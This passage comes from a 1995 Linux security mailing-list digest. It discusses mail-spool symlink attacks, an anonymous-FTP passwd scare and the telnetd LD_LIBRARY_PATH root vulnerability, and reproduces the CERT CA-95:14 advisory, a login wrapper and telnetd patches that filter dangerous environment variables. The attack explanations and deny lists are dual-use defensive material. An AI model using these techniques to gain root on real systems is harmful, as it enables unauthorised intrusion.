and to > my horror I saw that in ~ftp/etc the password file has root with no password: Whether this is really a security problem depends on the ftpd you're using. wu-ftpd will not allow sub-logins from within the guest account. (Neither will it let you log into passwordless accounts, even if they appeared in /etc/passwd). So the question is which ftpd is Slackware using? Olaf ------------------------------ From: "Leonard N. Zubkoff" Date: Thu, 26 Oct 1995 13:15:53 -0700 Subject: Re: /var/spool/mail permissions From: [email protected] Date: Wed, 25 Oct 1995 00:18:32 +0000 (GMT) People on comp. security. unix have suggested giving /var/spool/mail drwxrwxrwt permissions on linux. On my system I know that this is a BAD idea, and I told them so. I have my system setup with: kelewan:~> ll -d /var/spool/mail drwxrwsrwt 2 root mail 1024 Oct 26 13:09 /var/spool/mail/ I am running sendmail and using procmail as the local delivery agent. If I attempt your attack creating a link as in: kelewan:~> ll /var/spool/mail lrwxrwxrwx 1 lnz mail 10 Oct 26 13:11 lnz -> /tmp/xyzzy and then receive mail, procmail notices this attempt and corrects it: kelewan:~> ll /var/spool/mail lrwxrwxrwx 1 lnz mail 10 Oct 26 13:11 BOGUS.6u3 -> /tmp/xyzzy - -rw------- 1 lnz mail 333 Oct 26 13:12 lnz One of the things I like about procmail... Leonard ------------------------------ From: "Al Longyear" Date: Thu, 26 Oct 1995 13:29:39 -0700 (PDT) Subject: Re: slackware 3.0 bad hole > > Jean-Luc Duprat wrote: > > I've just finished installing slackware 3.0 from the Walnut Creek cdrom and to > > my horror I saw that in ~ftp/etc the password file has root with no password: > > Whether this is really a security problem depends on the ftpd you're > using. wu-ftpd will not allow sub-logins from within the guest account. > (Neither will it let you log into passwordless accounts, even if they > appeared in /etc/passwd). > > So the question is which ftpd is Slackware using? It does not matter what version of Slackware is being used. It does not matter which version or what program of ftpd is being used. They all operate the same way when it comes to this. Read my lips . . . . THIS IS NOT A BUG. The 'panic' message about 'horror' conditions was posted by someone who didn't do his homework. There are enough real security holes in most any UNIX platform so that we don't need phantom ones from un-educated users. The files in the ~ftp/etc directory are there for the sole use of the 'ls' program for anonymous ftp users only. All that is used is the name of the account and the account id. The anonymous ftp system will operate just fine if you totally removed all of the files in ~ftp/etc. The only difference would be that you would get numbers for the 'ls -l' function rather than cute names. - -- Al Longyear [email protected] The above opinions do not necessarily represent those of the Management of System Integrators nor any of its subsidiaries. ------------------------------ From: Erlend Midttun Date: Fri, 27 Oct 1995 11:02:01 +0100 (MET) Subject: Re: /var/spool/mail permissions - -----BEGIN PGP SIGNED MESSAGE----- [ /var/spool/mail permissions drwxrwxrwx bad idea ] > My system (Slackware 2.0) runs Smail3.1.28.1 since I have not altered the > mail setup since I have installed it. Now if I change /var/spool/mail to > drwxrwxrwt a user can delete his mail file and replace it with a symbolic > link to any file, mail is then written to this file as root (amusingly the > ownership of the actual symbollic link is then changed). You run a miscompiled version of Smail. It was compiled without HAVE_SETEUID and does not change it's uid to the actual recipent before delivering mail. On a system running a patched Smail 3.1.28 or a newer version (which does support Linux) this does not apply. > a) how many linux systems does this effect? At least all systems that use the version of Smail that came with Slackware prior to 2.2. > b) has this problem to some extent been fixed in the > latest distributions of linux? Slackware is now using sendmail as it's default. If a person should choose to install the verion of Smail that came with Slackware prior to 3.0, it is still the same binary. Slackware 3.0 includes Smail 3.1.29.1 which is secure. > c) is this problem old news, has it been discussed > before, how many people know about it? It came up as one out of three ugly bugs about a year ago. There were released patches that fixed them all, and the newer versions of Smail does not have these bugs. > d) should I post the above 'exploit' details to > comp.security.unix, since some people seem to need > little excuse to criticise linux, which in this case > would be unfair? (Having said that if I keep getting > mail I may (almost) have to post it). You could. The bug was having it's first birthday party around 14. oct this year. > Personally I think slackware really does have the right idea with: > drwxrwxr-x 2 root mail 1024 Oct 24 22:44 /var/spool/mail/ Sure does. > Thanks, > Arny - [email protected] Erlend.. - - -- Erlend Midttun [email protected] IRC: Golle http://colargol.idb.hist.no/~erlendbm/ A Linux User PGP public key available upon finger request - -----BEGIN PGP SIGNATURE----- Version: 2.6.2i iQEVAwUBMJCt0+iWtdu6znSNAQFlwwf+NHRWOV8UeOR7WtYC0bhWc4isQu0jTRpq 277q7OpQEfa2rbTTACuFegMj2866tCliGoPISjChYZjYA923hpfIAh3QHaFpavDz Sf898w+CwLYc00g5RKTTzkZ+Up1LgVgBSPpu/aR3Avg2/wRkZGdwsUQvXswD0ptQ RtiWm8929GScq+dF+7AGZOBpgmxc0jlvsqXNPfk4NRoD09nyr92DJlCuUvWemRDe E0t05CU9fZylwMZLmhWv1dkTlv1ugveqcmdszqXw4WbFA5EOuzePH28mJYQimdox YuD35CQ7r9GNTv2kYewyl2UaZUj8RJc4Egyt7wXJyj/a8qmibvsuIw== =SN2i - -----END PGP SIGNATURE----- ------------------------------ From: *Hobbit* Date: Fri, 27 Oct 1995 13:14:05 -0400 Subject: mail spool Mine's been 755 owned by root for ages. I long ago scrapped procmail and am running the cert/wietse/whoever rehacked "mail.local" for final delivery. Works fine for me; my mailbox gets zeroed out but stays there after I read everything. Probably won't work for POP-based folks, though. My own take on it is that regular users shouldn't be able to write into the mail-spool directory at all, and only a few programs should be able to. Unfortunately the stock utilities on a lot of machines don't grok this philosophy [sunos comes to mind...] and I haven't had time to think about a Universal Fix for this problem that allows all mail clients to work. If I were to do so, though, I'd start with something like mail.local to deliver and a paranoidly hacked movemail to retrieve, and wrap everything else around same in a non-setuid way. _H* ------------------------------ From: [email protected] (Olaf Kirch) Date: Fri, 27 Oct 1995 22:55:06 +0100 (MET) Subject: Slackware ftpd wrap-up - -----BEGIN PGP SIGNED MESSAGE----- Hi all, there have been a large number of followups concerning the `hole' in Slackware's ftp configuration, stating that: * Slackware 3.0 comes with wu-ftpd * Both wu-ftpd and diku-ftpd do not use ~ftp/etc/passwd to authenticate users. Thanks go to the following people (whose postings I did not approve): Tudor Popescu ([email protected]) Matt Sommer ([email protected]) James W. Abendschau ([email protected]) Matti Aarnio ([email protected]) Dan ([email protected]) Cheers Olaf PS: Note that while most ftpd's use ~ftp/etc/passwd only for the mapping of uid's, you should not take this as a natural law. For instance, HP's ftpd allows anonymous users to re-authenticate themselves based on this file. - - -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play [email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax For my PGP public key, finger [email protected]. - -----BEGIN PGP SIGNATURE----- Version: 2.6 iQCVAgUBMJFVKuFnVHXv40etAQFMGAP/VcOPbMCwUk9R2q+zsPhhLLDPEcqQIQ6S OzUCG4qmFEuud0H0SwF9XDEyNZkmkZS+lgtE3llWal7SXwqcWSrja61+AubuC+bB Y5/lunBq/BtQu3EdJliaqK20z1ODHcQQ+DYL17QZhlkc0r3tNqn3LEus5as12Wfe P/Zso9HjkRE= =2XWK - -----END PGP SIGNATURE----- ------------------------------ End of linux-security-digest V1 #42 *********************************** linux-security-digest/1995/v01.n043100664 1767 1767 66523 6050145277 16067 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #43 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 5 November 1995 Volume 01 : Number 043 Minor security problem. Telnetd Environment Vulnerability telnetd shared lib hole SSLtelnet patch Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability ---------------------------------------------------------------------- From: [email protected] Date: Mon, 30 Oct 1995 11:07:35 GMT Subject: Minor security problem. The Linux version of Zorst's Yahtzee due to its age has a #if 0 rename(.... #else system("mv ... .. #endif In it. This means its rather easy to exploit if installed setuid games for its score file. I've fixed this , colourised it and switchd it to ncurses. The announce mentions a minor security fix but doesn't say what - so now you will know. Alan ------------------------------ From: Cy Schubert - BCSC Open Systems Group Date: Thu, 02 Nov 95 16:58:43 -0800 Subject: Telnetd Environment Vulnerability There is a serious problem with various telnetd daemons which will cause /bin/login to give a root shell. I haven't had a chance to test this on my Linux boxes at home, however it does fix the problem under DEC's OSF/1. I managed to find this wrapper in CERT Advisory CA-95:14. /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." ------------------------------ From: Jon Lewis Date: Wed, 1 Nov 1995 15:53:26 -0500 (EST) Subject: telnetd shared lib hole Call me silly, but since this hole operates by "secretly replacing your real libc with Foldgers Crystals libc" and having telnetd use the bogus libc, would all this be fixed with no need for careful patching / environment cleaning if we simply compiled telnetd and statically linked it? Then it would need no shared libs, and you'd be unable to force it to load a hacked libc...no? It may not be an elegant solution...but is it one at all? - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: Aleph One Date: Wed, 1 Nov 1995 20:07:19 -0600 (CST) Subject: SSLtelnet patch This patch address the current CERT advisory about the telnet vulnerability. It was created under linux using SSLtelnet 0.2. Iam not sure what the latest is but here it is anyway. You need to change LD_LIBRARY_PATH to whatever is dangerous in your OS. diff -u -r SSLtelnet-0.2/telnetd/Makefile SSLtelnet-0.2-new/telnetd/Makefile - --- SSLtelnet-0.2/telnetd/Makefile Tue Aug 15 16:53:25 1995 +++ SSLtelnet-0.2-new/telnetd/Makefile Wed Nov 1 16:01:32 1995 @@ -7,7 +7,7 @@ CFLAGS= -DTERMCAP -DKLUDGELINEMODE -DUSE_TERMIO -DAUTHENTICATE -DUSE_SSL \ -DDIAGNOSTICS -DFILIO_H \ -I../lib -I../lib/libbsd/include \ - - -I$(SSLTOP)/include + -I$(SSLTOP)/include -O2 -m486 LIBS= ../lib/libtelnet/libtelnet.a \ ../lib/libutil/libutil.a \ diff -u -r SSLtelnet-0.2/telnetd/state.c SSLtelnet-0.2-new/telnetd/state.c - --- SSLtelnet-0.2/telnetd/state.c Thu Oct 14 13:49:12 1993 +++ SSLtelnet-0.2-new/telnetd/state.c Wed Nov 1 16:56:41 1995 @@ -1257,9 +1257,27 @@ case ENV_VAR: *cp = '\0'; - - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - - else + } else unsetenv(varp); cp = varp = (char *)subpointer; valp = 0; @@ -1276,9 +1294,27 @@ } } *cp = '\0'; - - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - - else + } else unsetenv(varp); break; } /* end of case TELOPT_ENVIRON */ Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ From: Erik Nygren Date: Thu, 02 Nov 1995 18:25:29 -0500 Subject: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability [Note to moderator: Feel free to modify this message in any way you see fit. I just thought that fixes for this should be sent to or announced on linux-alert or comp.os.linux.announce as soon as possible.] This vulnerability affects Linux as well as many other platforms. Either the full advisory or at least some subset of it should be sent out to linux-alert. To summarize, telnet allows you to pass environmental options to telnetd which sets them before calling login. This allows LD_LIBRARY_PATH and other variables used by ld.so to be set before login is called. Because login is being called by a process running as root (rather than being a suid root executable) the LD_LIBRARY_PATH variable may be set, causing an alternate version of libc to be called by login as root. Using this vulnerability, any user can gain root access to a machine. A local account is not required for machines with a networked file system (such as AFS or NFS) or a writable ftp directory. The CERT announcement follows: ============================================================================= CA-95:14 CERT Advisory November 1, 1995 Telnetd Environment Vulnerability - ----------------------------------------------------------------------------- The CERT Coordination Center has been made aware of a vulnerability with some telnet daemons. The daemons affected are those that support RFC 1408 or RFC 1572, both titled "Telnet Environment Option," running on systems that also support shared object libraries. To determine if your system is potentially vulnerable, refer to the information we have received from vendors which is summarized in Section III below; details are in Appendix A and reproduced in the CA-95:14.README file. Note that if you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. If your vendor is not listed, you will need to determine if your system may be vulnerable. First, determine if your telnet daemon is RFC 1408/1572 compliant. One indication that it is compliant is if your telnet(1) program supports the "environ" command or your telnetd(8) program supports the ENVIRON or NEW-ENVIRON options. Unless you are certain that your telnet daemon is not RFC 1408/1572 compliant, you may wish to assume it is to be safe. Second, determine if your system supports shared libraries. To do this, consult the ld(1) manual page. If it describes dynamic or shared objects, your system probably supports shared object libraries. A system is potentially vulnerable if the telnet daemon supports RFC 1408/RFC 1572 and the system supports shared object libraries. We recommend that you follow your vendor's directions for addressing this vulnerability. Until you can install a patch, we recommend using the workaround in Appendix B below. If you have previously installed David Borman's telnet package on your system, we recommend that you obtain the current version of telnet (see Section III.C). As we receive additional information relating to this advisory, we will place it in: ftp://info.cert.org/pub/cert_advisories/CA-95:14.README We encourage you to check our README files regularly for updates on advisories that relate to your site. - ----------------------------------------------------------------------------- I. Description Some telnet daemons support RFC 1408 or RFC 1572, both titled "Telnet Environment Option." This extension to telnet provides the ability to transfer environment variables from one system to another. If the remote or targeted system, the one to which the telnet is connecting, is running an RFC 1408/RFC 1572-compliant telnet daemon *and* the targeted system also supports shared object libraries, then it may be possible to transfer environment variables that influence the login program called by the telnet daemon. By influencing that targeted system, a user may be able to bypass the normal login and authentication scheme and may become root on that system. Users with accounts on the targeted system can exploit this vulnerability. Users without accounts on that system can also exploit this vulnerability if they are first able to deposit an altered shared object library onto the targeted system. Therefore, a system may be vulnerable to users with and without local accounts. Not all systems that run an RFC 1408/RFC 1572-compliant telnet daemon and support shared object libraries are vulnerable. Some vendors have changed the trust model such that environment variables provided by the telnet daemon are not trusted and therefore are not used by the login program. Section III contains a summary of information vendors have reported as of the date of this advisory. II. Impact Local and remote users can become root on the targeted system. III. Solution The general solution to this problem is to replace the telnet daemon with one that changes the environment given to the login program. We recommend that you install a patch from your vendor if possible. If this is not possible, we recommend using the workaround in Appendix B until you can install a patch. Finally, if you have previously installed Mr. Borman's telnet package, see Section C for how to get a new version that fixes the vulnerability. A. Vendor Patches Below is a summary of the vendors listed in the current version of the CA-95:14.README file, and the status they have provided. More complete information, including how to obtain patches, is provided in Appendix A of this advisory and reproduced in the README file. We will update the README file as we receive more information from vendors. If your vendor's name is not on this list, please contact the vendor directly. REMINDER: If you installed a version of David Borman's telnet package that is older than October 23, 1995, your system may be vulnerable even though it was not vulnerable as distributed by the vendor. Vendor or Source Status ---------------- ------------ Apple Computer not vulnerable Berkeley Software Design not vulnerable Cray Research not vulnerable CYGNUS cns-95q1 - vulnerable cns-95q4 - not vulnerable Data General not vulnerable Digital Equipment Ultrix - not vulnerable OSF/1 - vulnerable FreeBSD vulnerable Harris not vulnerable Hewlett-Packard not vulnerable Linux Debian - vulnerable Red Hat - vulnerable Slackware - appears vulnerable MIT-distributed for Athena vulnerable NetBSD 1.0 - vulnerable current - not vulnerable NEC vulnerable Open Software Foundation OSF/1 version 1.3 not vulnerable OpenVision OpenV*Secure 1.2 - vulnerable SCO not vulnerable SGI 5.2, 5.3, 6.0.1, 6.1 - vulnerable Sony Corp. NEWS-OS 6.x - not vulnerable B. Workaround Until you can install a patch from your vendor, you can use the workaround provided in Appendix B. C. If you have installed a previous version of Mr. Borman's telnet package, note that he has fixed this problem in the version available at the following location: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z MD5 checksum 2e14879a5b0aa6dd855a17fa8a3086cf - --------------------------------------------------------------------------- The CERT Coordination Center staff thanks Eric Halil of AUSCERT, Wolfgang Ley of DFNCERT, and Sam Hartman of the MIT Kerberos Development team for their support in responding to this problem. - --------------------------------------------------------------------------- If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in the Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the email be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet email: [email protected] Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA CERT advisories and bulletins are posted on the USENET newsgroup comp.security.announce. If you would like to have future advisories and bulletins mailed to you or to a mail exploder at your site, please send mail to [email protected]. Past CERT publications, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. Copyright 1995 Carnegie Mellon University This material may be reproduced and distributed without permission provided it is used for non-commercial purposes and the copyright statement is included. CERT is a service mark of Carnegie Mellon University. .............................................................................. Appendix A: Vendor Information Current as of November 1, 1995 See CA-95.14.README for updated information Below is information we have received from vendors. If you do not see your vendor's name below, contact the vendor directly for information. Apple Computer, Inc. - -------------------- Apple's A/UX is not vulnerable. Berkeley Software Design, Inc. - ----------------------------- BSDI's BSD/OS is not vulnerable. Cray Research, Inc. - ------------------- Cray's UNICOS is not vulnerable. CYGNUS Network Security V4 Free Network Release - ---------------------------------------------------- cns-95q1 is vulnerable. cns-95q4 is not vulnerable. Customers can use the following URL to obtain the patch: http://www.cygnus.com/data/cns/telnetdpatch.html If customers are unable to obtain the patch in this manner or have any questions, send e-mail to [email protected]/ Note that while the URL and patch are already available, there is no link to the page yet. We will add a link once the announcement has been made. Data General Corporation - ------------------------ Data General believes the DG/UX operating system to be NOT vulnerable to this problem. This includes all supported releases, DG/UX 5.4 Release 3.00, DG/UX 5.4 Release 3.10, DG/UX Release 4.10 and all related Trusted DG/UX releases. Specifically, telnetd shipped in DG/UX does not support environment options and does not support RFC 1572. Digital Equipment Corporation - ----------------------------- Digital's OSF/1: vulnerable Digital's ULTRIX: not vulnerable Digital has corrected this potential vulnerability. Patches containing new images for Digital's OSF/1 platforms are being provided to your normal Digital Support channels beginning October 31 (U.S. time). The kits may be identified as ECO SSRT0367 (telnetd) for DEC OSF/1 V2.0 thru V3.2c This potential vulnerability is not present on Digital's ULTRIX systems. Digital distribution of this announcement will be via AES services (DIA, DSNlink FLASH etc.). Digital Equipment Corporation strongly urges Customers to upgrade to a minimum of DEC OSF/1 V3.0, then apply this patch. FreeBSD - ------- Vulnerable. A patch has been applied to the current development FreeBSD source tree which is not yet released. This patch is slightly modified compared to posted one, i.e. only variables which affects FreeBSD are disabled. It is telnetd patch, not a login wrapper. For the official patch, location please contact: Jordan Hubbard Harris - ------ Harris Computer Systems Corporation's Night Hawk is not vulnerable. Hewlett-Packard Company - ----------------------- HP/UX is not vulnerable. Linux (freely available software; not a vendor) - ----- Debian GNU/Linux (From "Peter Tobias" ): The current version of the Debian GNU/Linux distribution (released 10/27/95) is not vulnerable anymore. All Debian Installations that use a netstd package version prior to v1.21-1 are vulnerable (telnetd is part of the netstd package). netstd-1.21-1 and above are ok. Patches are available. Peter fixed the bug last week and uploaded the fixed version to our ftp site (ftp.debian.org). Binaries, sources and the diffs against the bsd telnetd can be found there. The URL for the new binary package is: ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb and the sources and the diff against the bsd telnetd can be found at: ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.tar.gz ftp://ftp.debian.org/debian/debian-0.93/source/net/netstd-1.21-1/telnetd.diff.gz Red Hat Linux (From Erik Troan ): Vulnerable. A fix is now available at: ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm It will also be fixed in the upcoming Red Hat 2.1 release. Slackware Linux (Alan Cox ): The telnetd distributed with Slackware Linux appears to be vulnerable, although it has not been verified. MIT-distributed Athena telnet/telnet95 - -------------------------------------- Vulnerable. Patches available in: ftp://aeneas.mit.edu/pub/kerberos/telnet-patch/ beta4-3.patch is the patch versus the Beta 4 patchlevel 3 distribution of Kerberos v5. beta5.patch is the patch versus the Beta 5 distribution of Kerberos V5. Both patches have been PGP signed by Ted Ts'o using detached signatures (beta4-3.patch.sig and beta5.patch.sig). NetBSD - ------ NetBSD 1.0 (the last official release) is vulnerable; NetBSD 1.1 (due out in mid-November) will not be. NetBSD-current is not vulnerable, as of a week or so ago. Patches: A source form patch has been developed. A core team member will have to make source and binary patches available and provide a location for it. The login-wrapper given in the advisory can be compiled with NetBSD with: cc -o login-wrapper login-wrapper.c NEC Corporation - --------------- Some NEC systems are vulnerable. Here is their vulnerability matrix: OS Version Status - ------------------ ------------ ------------------------------------- EWS-UX/V(Rel4.0) R1.x - R6.x not vulnerable EWS-UX/V(Rel4.2) R7.x - R10.x not vulnerable EWS-UX/V(Rel4.2MP) R10.x vulnerable patch available by the end of Nov, 1995 UP-UX/V R2.x - R4.x not vulnerable UP-UX/V(Rel4.2MP) R5.x - R7.x vulnerable patch available by the end of Nov, 1995 UX/4800 R11.x vulnerable patch available by the end of Nov, 1995 - -------------------------------------------------------------------------- Contacts for further information: E-mail:[email protected] Open Software Foundation - ------------------------ OSF/1 version 1.3 is not vulnerable. OpenVision - ---------- This is from: Barry Jaspan : OpenVision has a patch for the telnetd in OpenV*Secure 1.2 and will contact its customers directly. SCO - --- Not believed to be vulnerable. Silicon Graphics - ---------------- IRIX 5.2, 5.3, 6.0.1, and 6.1 are vulnerable. SGI acknowledges the telnetd vulnerability reported by MIT and is currently investigating. No further information is available at this time. As further information becomes available, additional advisories will be issued. SGI Security Information/Contacts: For obtaining security information, patches or assistance, please contact your SGI support provider. If there are questions about this document, email can be sent to [email protected] . For reporting *NEW* SGI security issues, email can be sent to [email protected]. Sony Corporation - ---------------- Sony's NEWS-OS 6.x is not vulnerable. .............................................................................. Appendix B: login-wrapper Workaround The login-wrapper program shown below is meant to be executed just before the distributed login program. The wrapper cleans specific variables from the environment before invoking the distributed login program. - ------------------------cut here--8<------------------------ /* * This is a login wrapper that removes all instances of * various variables from the environment. * * Note: this program must be compiled statically to be * effective against exploitation. * * Author: Lawrence R. Rogers * * 10/25/95 version 1.1 Original version * 10/26/95 version 1.2 ELF_ variables removed (Linux) * 10/27/95 version 1.3 ELF_ changed to ELF_LD_ * Added AOUT_LD_ (Linux) * */ #include #if !defined(_PATH_LOGIN) # define _PATH_LOGIN "/bin/login.real" #endif main (argc, argv, envp) int argc; char **argv, **envp; { register char **p1, **p2; for (p1 = p2 = envp; *p1; p1++) { if (strncmp(*p1, "LD_", 3) != 0 && strncmp(*p1, "_RLD", 4) != 0 && strncmp(*p1, "LIBPATH=", 8) != 0 && strncmp(*p1, "ELF_LD_", 7) != 0 && strncmp(*p1, "AOUT_LD_", 8) != 0 && strncmp(*p1, "IFS=", 4) != 0 ) { *p2++ = *p1; } } *p2 = 0; execve(_PATH_LOGIN, argv, envp); perror(_PATH_LOGIN); exit(1); } - ------------------------cut here--8<------------------------ The following two examples show how to compile the login-wrapper for SGI's IRIX 5.3 and FreeBSD 2.x systems. The examples move the distributed login program to a new location and install the wrapper in the standard location. When executed, the wrapper first cleanses the environment and then calls the relocated, distributed login program. Note 1: The wrapper must be compiled statically. On SGI's IRIX system, compiling statically requires that the non-shared versions of libraries be installed. Consult your system documentation to determine how to do this. Note 2: You may need to change the _PATH_LOGIN variable to define where the real login program resides on your system. On some systems, login resides in /usr/bin/login. Compiling for IRIX 5.3 - ---------------------- # uname -a IRIX test 5.3 11091812 IP22 mips # /bin/ls -lL /bin/login - -rwsr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login # /bin/cc -non_shared -O login-wrapper.c -o login-wrapper # /bin/mv /bin/login /bin/login.real # /bin/chmod 755 /bin/login.real # /bin/mv login-wrapper /bin/login # /bin/chmod 4755 /bin/login # /bin/chown root /bin/login # /bin/chgrp sys /bin/login # /bin/ls -lL /bin/login /bin/login.real - -rwxr-xr-x 1 root sys 65832 Sep 9 14:24 /bin/login.real - -rwsr-xr-x 1 root sys 213568 Oct 30 08:42 /bin/login Compiling for FreeBSD 2.x - ------------------------- # /bin/ls -lg /usr/bin/login - -r-sr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login # /usr/bin/cc -D_PATH_LOGIN=\"/usr/bin/login.real\" -static \ -O login-wrapper.c -o login-wrapper # /bin/mv /usr/bin/login /usr/bin/login.real # /bin/chmod 555 /usr/bin/login.real # /bin/mv login-wrapper /usr/bin/login # /bin/chmod 4555 /usr/bin/login # /usr/sbin/chown root.bin /usr/bin/login # /bin/ls -lg /usr/bin/login /usr/bin/login.real - -r-sr-xr-x 1 root bin 24885 Oct 25 22:14 /usr/bin/login - -r-xr-xr-x 1 root bin 20480 Jun 10 20:00 /usr/bin/login.real ------------------------------ End of linux-security-digest V1 #43 *********************************** linux-security-digest/1995/v01.n043a100664 1767 1767 100660 6047223415 16234 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #43 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Sunday, 5 November 1995 Volume 01 : Number 043 Telnetd Security Hole telnetd shared lib hole NEW security hole in in.telnetd ---------------------------------------------------------------------- From: Cy Schubert - BCSC Open Systems Group Date: Thu, 02 Nov 95 21:21:35 -0800 Subject: Telnetd Security Hole In response to the CERT advisory regarding the telentd seurity hole that causes /bin/login to relinquish a root shell, I have put together a patch for telnetd in the NetKit-B-0.5 package, based on a FreeBSD patch posted by Mark Hittinger ([email protected]) to the comp.security.unix newsgroup. Note that the changes to telnetd.h compensate for kernel changes made after NetKit-B-0.5 came out. It's been tested for an evening, so no guarentees are made. *** sys_term.org Sun Sep 10 04:39:50 1995 - --- sys_term.c Wed Nov 1 10:43:32 1995 *************** *** 1292,1295 **** - --- 1292,1297 ---- char **addarg(); + scrub_env(); + /* * -h : pass on name of host. *************** *** 1392,1395 **** - --- 1395,1424 ---- } #endif /* NEWINIT */ + + /* + * scrub_env() + * + * Remove a few things from the environment that + * don't need to be there. + */ + scrub_env() + { + register char **cpp, **cpp2; + + for (cpp2 = cpp = environ; *cpp; cpp++) { + #ifdef __FreeBSD__ + if (strncmp(*cpp, "LD_LIBRARY_PATH=", 16) && + strncmp(*cpp, "LD_NOSTD_PATH=", 14) && + strncmp(*cpp, "LD_PRELOAD=", 11) && + #else + if (strncmp(*cpp, "LD_", 3) && + strncmp(*cpp, "_RLD_", 5) && + strncmp(*cpp, "LIBPATH=", 8) && + #endif + strncmp(*cpp, "IFS=", 4)) + *cpp2++ = *cpp; + } + *cpp2 = 0; + } /* *** telnetd.h.orig Thu Nov 2 20:14:33 1995 - --- telnetd.h Thu Nov 2 19:52:14 1995 *************** *** 47,49 **** - --- 47,54 ---- /* other external variables */ extern char **environ; extern int errno; + + #define TELOPT_ENVIRON TELOPT_OLD_ENVIRON + #define ENV_VAR OLD_ENV_VAR + #define ENV_VAR OLD_ENV_VAR + #define ENV_VALUE OLD_ENV_VALUE Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] BC Systems Corp. Internet: [email protected] [email protected] "Quit spooling around, JES do it." ------------------------------ From: Jon Lewis Date: Wed, 1 Nov 1995 22:22:23 -0500 (EST) Subject: telnetd shared lib hole Well...I was silly. Compiling a static in.telnetd solves nothing. I don't quite understand why static telnetd and login binaries still appeared to exhibit the hole. I ended up getting the updated source from a debian mirror site and compiled a clean telnetd that does not exhibit the hole. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ [Mod: A static in.telnetd won't really fix this; the environment is passed on to /bin/login which also needs to be static. I can't figure out why compiling both programs statically would not fix things... --Jeff.] ------------------------------ From: Chad C Giffin Date: Thu, 02 Nov 95 02:13:47 -0600 Subject: NEW security hole in in.telnetd This is a multi-part message in MIME format. - ---------------------------------19471490271877007441146457342 Content-Transfer-Encoding: 7bit Content-Type: text/plain; 